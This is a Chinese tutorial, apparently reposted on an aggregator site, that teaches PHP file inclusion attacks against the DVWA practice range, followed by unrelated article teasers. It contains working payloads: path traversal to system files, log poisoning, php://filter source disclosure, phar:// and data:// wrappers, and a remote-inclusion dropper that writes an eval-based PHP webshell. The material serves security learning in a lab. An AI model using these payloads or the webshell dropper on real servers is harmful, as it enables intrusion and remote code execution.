文件包含漏洞

news2024/11/18 0:23:52

数据来源

        本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。

01 文件包含漏洞概述

简单例子

PHP中的文件包含函数

02 文件包含漏洞类型及利用

  

本地文件包含 -- 示例:(这里使用DVWA靶场做演示)

        1)包含系统文件

        首先要把靶场的安全等级调低 

        然后要配置一下我们的php的运行环境,因为我们选择“文件包含”这个选项是会提示有个php函数未定义。

        打开 php.ini,找到allow_url_include=Off 改为 allow_url_include=On

        下面这个就是靶场的文件包含页面,我们可以通过更改网站的URL路径访问本地的文件 

         将url路径后面的page改成page=C:/Windows/win.ini  (win.ini这个文件一般的windows系统都有)

        2)包含上传文件

        在www目录下有个phpinfo.php,内容很简单就一句代码:

# phpinfo是一个服务器的运行指令,可以显示php服务器的配置信息
<?php phpinfo();?>

phpinfo.php文件位置 

靶场的文件包含的文件位置

如果我们要在靶场的文件包含这里访问phpinfo.php文件,可以使用相对路径绝对路径

        相对路径:../../../phpinfo.php(../ 上一级目录)

        绝对路径:D:/phpStudy/PHPTutorial/WWW/phpinfo.php

        在这里其实我们访问的文件不一定就要是php文件,可以是txt、png之类的只要文件的内容符合php的语法要求都是会被当成php文件执行。 

        如我们可以建一个aa.txt文件,内容如下:

# phpinfo是一个服务器的运行指令,可以显示php服务器的配置信息
<?php
  phpinfo(); 
?>

        访问 

敏感文件默认路径列举

本地文件包含漏洞利用方式

1)本地文件包含配合日志文件

        一般我们在网站的URL路径上的访问都是会被记录到一个日志文件如下:(默认情况下这个日志文件是没有的,我们需要手动开启日志功能

重启phpstudy,访问日志文件存在

        现在知道了我们访问的url会被网站记录下来,这样我们就可以在url上访问我们的后门代码,然后如果知道网站的日志文件的位置的话我们就可以直接使用文件包含执行我们的后门代码

<?php phpinfo();?>

        在靶场随便找个地方在url路径后面输入我们的代码,让日志文件记录

  

        我这里的代码被转码了,我看被人的使用文件包含访问不影响,我这里访问不了

解决方法:使用Burpsuite代理然后改包再重新发送。(参考)

日志文件这边保存的就是正常的代码了 

使用文件包含访问日志文件

        相对路径:../../../../Apache/logs/access.log  

        绝对路径:D:/phpStudy/PHPTutorial/Apache/logs/access.log  



2)利用file协议

3)利用php://filter协议

示例:

语法:php://filter/read=convert.base64-encode/resource=文件路径/名 

我这里直接访问www目录下的phpinfo.php的内容:

php://filter/read=convert.base64-encode/resource=D:/phpStudy/PHPTutorial/WWW/phpinfo.php

这里拿到的文件内容是经过base64加密的我们要解密才能查看原来的内容,网上有很多在线解密的工具,我这里使用浏览器的插件Hackbar进行解密

 

4)利用zip:、bzip2:∥、zib;/协议

5)利用phar://协议

示例:

        创建一个phpinfo.txt文件,内容如下:

<?php phpinfo();?>

然后压缩 

 再把后缀名改成可以被网站接收的图片格式(png、jpg)

上传到网站

使用文件包含访问我们的图片

        完整链接:http://192.168.0.106/dvwa/vulnerabilities/fi/?page=phar://../../hackable/uploads/phpinfo.jpg/phpinfo.txt

我这里报错了,查一下百度,解决方案:php版本大于等于php5.3.0(来源),最后成功访问

远程文件包含漏洞

        1)包含远程文件,利用http协议:

示例1:(访问远程的文件)

访问:http://192.168.0.106/dvwa/vulnerabilities/fi/?page=http://192.168.0.106/phpinfo.php


 

示例2:(访问远程一句话木马,然后在服务器生成木马文件)

前提:把电脑一杀毒软件与自带杀毒功能关闭,不然我们的文件会被自动清理。

1、在www文件夹加新建一个.txt,内容如下:

<?php fputs(fopen("demo.php","w"),'<?php @eval($_POST["cmd"]);?>'); ?>

这句代码的意思是创建一个demo.php文件,文件的内容是:<?php eval($_POST["cmd"])?> 

2、使用文件包含我们的txt文件(http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/aa.txt

 去到我们靶场的文件包含的目录下就能看到我们生成的文件

3、使用菜刀连接我们的一句话马 

http://127.0.0.1/dvwa/vulnerabilities/fi/demo.php 

2)利用php://input协议

<?php fputs(fopen("up.php","w"),'<?php @eval($_POST["cmd"]);?>'); ?>

3)利用data://协议

示例:

在文件包含哪里输入:data://text/plain,<?php phpinfo();

本地文件包含绕过方式

%00截断

路径长度截断

远程文件包含绕过方式

 

03 文件包含漏洞危害及防御

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/192265.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于MATLAB的车牌识别系统设计

基于MATLAB的车牌识别系统设计 摘要 随着公路逐渐普及&#xff0c;我国的公路交通事业发展迅速&#xff0c;所以人工管理方式已经不能满着实际的需要&#xff0c;微电子、通信和计算机技术在交通领域的应用极大地提高了交通管理效率。汽车牌照的自动识别技术已经得到了广泛应…

弱网测试利器-Charles工具实战

一&#xff1a;弱网测试要点 二&#xff1a;利用抓包工具charles进行弱网设置&#xff0c;适用PC端和移动端&#xff08;IOS&#xff0f;Android&#xff09; 1、以charles 4.5.6版本为例&#xff0c;打开Proxy->Throttle Settings 2、打开Throttle Settings&#xff0c;界…

实战详细讲解Qt插件plugin的编写与用法

目录 1.Qt的插件是什么&#xff1f;优点是什么&#xff1f; 2.实战项目需求 3. 程序设计分析 4.Qt插件的编写 Q_DECLARE_INTERFACE&#xff08;类名&#xff0c;标识符&#xff09; Q_INTERFACES 5.插件的调用 总结感言&#xff1a; 1.Qt的插件是什么&#xff1f;优点是…

let/const相关的内容(一)

1.let/const的基本使用 在ES5中我们声明变量都是使用的var关键字(variable的缩写)&#xff0c;从ES6开始新增了两个关键字可以声明变量&#xff1a;let、const。 let和const在其他编程语言中都是有的&#xff0c;所以并不是新鲜的关键字&#xff0c;但是他们确实给JS带来了不一…

动态规划设计LeetCode 300. 最长递增子序列 354. 俄罗斯套娃信封问题

&#x1f308;&#x1f308;&#x1f604;&#x1f604; 欢迎来到茶色岛独家岛屿&#xff0c;本期将为大家揭晓LeetCode 300. 最长递增子序列 354. 俄罗斯套娃信封问题&#xff0c;做好准备了么&#xff0c;那么开始吧。 &#x1f332;&#x1f332;&#x1f434;&#x1f434…

【openGauss】把应用开发中的设置客户端字符编码往细了说

前言 早前写过两篇有关Oracle字符集的文章 【ORACLE】谈一谈Oracle数据库使用的字符集,不仅仅是乱码 【ORACLE】谈一谈NVARCHAR2、NCHAR、NCLOB等数据类型和国家字符集 基本说明了 ”数据字符编码“、”客户端字符编码“、”数据库字符编码“三者的关系&#xff0c;这些关系&a…

磨金石教育摄影技能干货分享|年味就是幸福圆满的味道

时光荏苒&#xff0c;时代变迁。以前是古街古巷&#xff0c;现在是高楼大厦。以前的老街&#xff0c;灯笼满街&#xff0c;烟火气十足。现在的城市商业街中霓虹灯可以展示出各种新年的影像。无论时代如何变迁&#xff0c;无论时光走了多远&#xff0c;我们对春节的期待从未改变…

吴恩达机器学习(二)——机器学习之监督模型之回归模型之线性回归模型

y-hat一般指的就是预测值 线性回归模型实例 构建模型 我们有一个房子的大小size&#xff0c;得到房屋价格&#xff08;price&#xff09;&#xff0c;通过这两个常数就可计算一个输入和输出的函数关系。 f w&#xff0c;b(x(i)) wx(i) b i指的是第几个训练数据 评估模型——…

【教程】browsermob-proxy 基于Java的代理服务 配合selenium使用

【教程】browsermob-proxy 基于Java的代理服务 配合selenium使用 配置依赖 <!-- 代理 配合 selenium进行抓包修改等 --><dependency><groupId>net.lightbody.bmp</groupId><artifactId>browsermob-core</artifactId><version>2.1.5&…

H3C Switch S1848G端口限速

需求&#xff1a;在交换机层面对接入用户的网络流量限速1.交换机信息2.主机限速前2.1本机IP和MAC信息依次打开控制面板\所有控制面板项\网络连接2.2限速前测速使用浏览器打开https://10000.gd.cn/测速3.主机限速后3.1查看主机所在交换机接口点击“网络”-“MAC地址”&#xff0…

【微信小程序】给你的页面加上一个填写进度表

前言在搭建一些与申请相关的微信小程序的时候&#xff0c;用户会遇到需要填写很多表单的情况&#xff0c;面对未知的表单数量&#xff0c;用户往往就会放弃填写申请表格。在此基础上作为开发者的我们常常会收到这样的一个任务——给申请页面加上一个填写进度表。这样不仅可以优…

274. H 指数

274. H 指数一、题目描述二、题目分析三、解题思路3.1 更换H指数定义3.2 二分法枚举H指数一、题目描述 二、题目分析 这道题比较绕&#xff0c;理解题目意思&#xff0c;根据题目的说法&#xff0c;所谓的H指数就是&#xff1a;总共有 h 篇论文分别被引用了至少 h 次。且其余的…

二战阿里巴巴成功上岸,准备了小半年,要个28k应该也算不上很高吧~

先说下我基本情况&#xff0c;本科不是计算机专业&#xff0c;现在是学通信&#xff0c;然后做图像处理&#xff0c;可能面试官看我不是科班出身没有问太多计算机相关的问题&#xff0c;因为第一次找工作&#xff0c;阿里的游戏专场又是最早开始的&#xff0c;就投递了&#xf…

Spring Cloud Alibaba系列三:集成Gateway实现路由管理

文章目录Spring Cloud Alibaba系列三&#xff1a;集成Gateway实现路由管理前言1、改造父项目 pom 文件2、创建 gateway 子 module3、配置yml文件Spring Cloud Alibaba系列三&#xff1a;集成Gateway实现路由管理 spring cloud alibaba 版本对照 spring cloud alibaba 有严格的…

【MPP数据库】TiDB表分区探索与实践

方案背景——为什么要进行分区&#xff1f; 一是老板通Tidb集群每天涉及50张表、2亿多条数据回流&#xff0c;合理使用Hash可以把写入压力打散到不同的TiKV&#xff1b; 二是对于大集团数据做聚合&#xff0c;利用分区裁剪原理&#xff0c;查询时可以充当前置索引&#xff0c…

1月第4周榜单丨飞瓜数据B站UP主排行榜(哔哩哔哩平台)发布!

飞瓜轻数发布2023年1月23日-1月29日飞瓜数据UP主排行榜&#xff08;B站平台&#xff09;&#xff0c;通过充电数、涨粉数、成长指数三个维度来体现UP主账号成长的情况&#xff0c;为用户提供B站号综合价值的数据参考&#xff0c;根据UP主成长情况用户能够快速找到运营能力强的B…

卫星地图——MAP(c++)

卫星地图 题目描述 一张矩形的卫星地图&#xff0c;有M行N列。行列中的0表示空地&#xff0c;1表示有建筑。有3种类型的建筑: L型: 仅在一行上占据连续的若干个格子&#xff0c;长度至少为2&#xff0c;至多为N C型&#xff1a;仅在一列上占据连续的若干个格子&#xff0c;…

春节机票销售大增!航空领域哪些业务风险要注意?

目录 航空领域常见的业务风险 2022年航空业务风险趋势分析 航空领域业务风险欺诈分析 如何防范航空业务风险 针对恶意网络爬虫 针对仿冒登录与内控风险 安全技术 春节旅游与出行数据陆续出炉。中国民航局数据显示&#xff0c;2023年1月21日至27日&#xff08;农历除夕至…

Linux - Linux系统

一、Linux系统Linux&#xff0c;全称GNU/Linux。Linux是一个开源、免费的操作系统&#xff0c;其稳定性、安全性、处理多并发能力已经得到业界的认可&#xff0c;目前大多数企业级应用甚至是集群项目都部署运行在linux操作系统之上&#xff0c;很多软件公司考虑到开发成本都首选…

CnOpenData中国核酸检测机构及采样点数据

一、数据简介 2020年1月21日&#xff0c;国家卫健委发布1号公告&#xff0c;将新型冠状病毒感染的肺炎纳入《中华人民共和国传染病防治法》规定的乙类传染病&#xff0c;并采取甲类传染病的预防、控制措施。目前&#xff0c;新型冠状病毒肺炎防控仍处于关键阶段&#xff0c;核酸…